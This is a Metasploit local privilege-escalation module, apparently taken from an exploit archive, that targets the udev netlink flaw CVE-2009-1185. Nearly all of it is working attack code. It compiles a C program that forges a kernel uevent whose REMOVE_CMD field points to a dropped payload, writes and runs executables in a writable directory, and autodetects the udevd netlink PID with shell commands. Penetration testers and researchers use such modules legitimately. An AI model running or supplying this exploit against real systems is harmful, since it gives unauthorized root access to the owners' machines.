Linux Kernel UDEV < 1.4.1 - 'Netlink' Local Privilege Escalation (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/linux/priv' require 'msf/core/exploit/local/linux_kernel' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/local/unix' #load 'lib/msf/core/post/file.rb' #load 'lib/msf/core/exploit/local/unix.rb' #load 'lib/msf/core/exploit/local/linux.rb' #load 'lib/msf/core/exploit/local/linux_kernel.rb' class Metasploit4 < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Post::Common include Msf::Exploit::Local::LinuxKernel include Msf::Exploit::Local::Linux include Msf::Exploit::Local::Unix def initialize(info={}) super( update_info( info, { 'Name' => 'Linux udev Netlink Local Privilege Escalation', 'Description' => %q{ Versions of udev < 1.4.1 do not verify that netlink messages are coming from the kernel. This allows local users to gain privileges by sending netlink messages from userland. }, 'License' => MSF_LICENSE, 'Author' => [ 'kcope', # discovery 'Jon Oberheide', # 95-udev-late.rules technique 'egypt' # metasploit module ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'References' => [ [ 'CVE', '2009-1185' ], [ 'OSVDB', '53810' ], [ 'BID', '34536' ] ], 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x64', { 'Arch' => ARCH_X86_64 } ], #[ 'Command payload', { 'Arch' => ARCH_CMD } ], ], 'DefaultOptons' => { 'WfsDelay' => 2 }, 'DefaultTarget' => 0, 'DisclosureDate' => "", } )) register_options([ OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]), OptInt.new("NetlinkPID", [ false, "Usually udevd pid-1. Meterpreter sessions will autodetect" ]), ], self.class) end def exploit if datastore["NetlinkPID"] and datastore["NetlinkPID"] != 0 netlink_pid = datastore["NetlinkPID"] else print_status("Attempting to autodetect netlink pid...") netlink_pid = autodetect_netlink_pid end if not netlink_pid print_error "Couldn't autodetect netlink PID, try specifying it manually." print_error "Look in /proc/net/netlink for a PID near that of the udevd process" return else print_good "Found netlink pid: #{netlink_pid}" end sc = Metasm::ELF.new(@cpu) sc.parse %Q| #define DEBUGGING #define NULL ((void*)0) #ifdef __ELF__ .section ".bss" rwx .section ".text" rwx .entrypoint #endif call main push eax call exit | # Set up the same include order as the bionic build system. # See external/source/meterpreter/source/bionic/libc/Jamfile cparser.lexer.include_search_path = [ "external/source/meterpreter/source/bionic/libc/include/", "external/source/meterpreter/source/bionic/libc/private/", "external/source/meterpreter/source/bionic/libc/bionic/", "external/source/meterpreter/source/bionic/libc/kernel/arch-x86/", "external/source/meterpreter/source/bionic/libc/kernel/common/", "external/source/meterpreter/source/bionic/libc/arch-x86/include/", ] cparser.parse(%Q| #define DEBUGGING // Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h #ifndef __extension__ #define __extension__ #endif // Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h // Doing #if on an undefined macro is fine in GCC, but a parse error in // metasm. #ifndef __STDC__ #define __STDC__ 0 #endif #include <sys/types.h> #include <stdarg.h> #include <stdio.h> #include <unistd.h> #include <errno.h> |) [ "external/source/meterpreter/source/bionic/libc/bionic/__errno.c", "external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c", "external/source/meterpreter/source/bionic/libc/stdio/stdio.c", ].each do |fname| cparser.parse(File.read(fname), fname) end payload_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}" evil_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}" unix_socket_h(sc) linux_x86_syscall_wrappers(sc) main = %Q^ #include <string.h> #include <linux/netlink.h> #define NULL 0 int main() { int sock; struct iovec iov; struct sockaddr_nl sa; struct msghdr msg; char *mp; char message[4096]; memset(sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; sa.nl_pid = #{netlink_pid}; sa.nl_groups = 0; memset(&msg, 0x00, sizeof(struct msghdr)); msg.msg_name = (void *)&sa; msg.msg_namelen = sizeof(sa); msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = NULL; msg.msg_controllen = 0; msg.msg_flags = 0; sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); bind(sock, (struct sockaddr *) &sa, sizeof(sa)); mp = message; mp += sprintf(mp, "remove@/d") + 1; mp += sprintf(mp, "SUBSYSTEM=block") + 1; mp += sprintf(mp, "DEVPATH=/dev/#{Rex::Text.rand_text_alpha(10)}") + 1; mp += sprintf(mp, "TIMEOUT=10") + 1; mp += sprintf(mp, "ACTION=remove") +1; mp += sprintf(mp, "REMOVE_CMD=#{payload_path}") +1; iov.iov_base = (void*)message; iov.iov_len = (int)(mp-message); sendmsg(sock, &msg, 0); close(sock); return 0; } ^ cparser.parse(main, "main.c") asm = cpu.new_ccompiler(cparser, sc).compile sc.parse asm sc.assemble begin elf = sc.encode_string rescue print_error "Metasm Encoding failed: #{$!}" elog "Metasm Encoding failed: #{$!.class} : #{$!}" elog "Call stack:\n#{$!.backtrace.join("\n")}" return end pl = payload.encoded_exe print_status "Writing payload executable (#{pl.length} bytes) to #{payload_path}" write_file(payload_path, pl) print_status "Writing exploit executable (#{elf.length} bytes) to #{evil_path}" write_file(evil_path, elf) print_status "chmod'ing and running it..." cmd_exec("chmod 755 #{evil_path} #{payload_path}") cmd_exec("#{evil_path}") rm_f(evil_path, payload_path) end def autodetect_netlink_pid netlink_pid = nil case session.type when "meterpreter" print_status("Meterpreter session, using get_processes to find netlink pid") process_list = session.sys.process.get_processes udev_proc = process_list.find {|p| p["name"] =~ /udevd/ } udev_pid = udev_proc["pid"] print_status "udev pid: #{udev_pid}" netlink = read_file("/proc/net/netlink") netlink.each_line do |line| pid = line.split(/\s+/)[2].to_i if pid == udev_pid - 1 netlink_pid = pid break end end else print_status("Shell session, trying sh script to find netlink pid") netlink_pid = cmd_exec( %q^ for netlink_pid in $(awk '{print $3}' /proc/net/netlink |sort -u|grep -v -- -); do for udev_pid in $(ps aux | grep [u]devd | awk '{print $2}'); do [ $(( $udev_pid-1 )) = $netlink_pid ] && echo $netlink_pid ; done; done ^) netlink_pid = nil if netlink_pid.empty? end netlink_pid end end |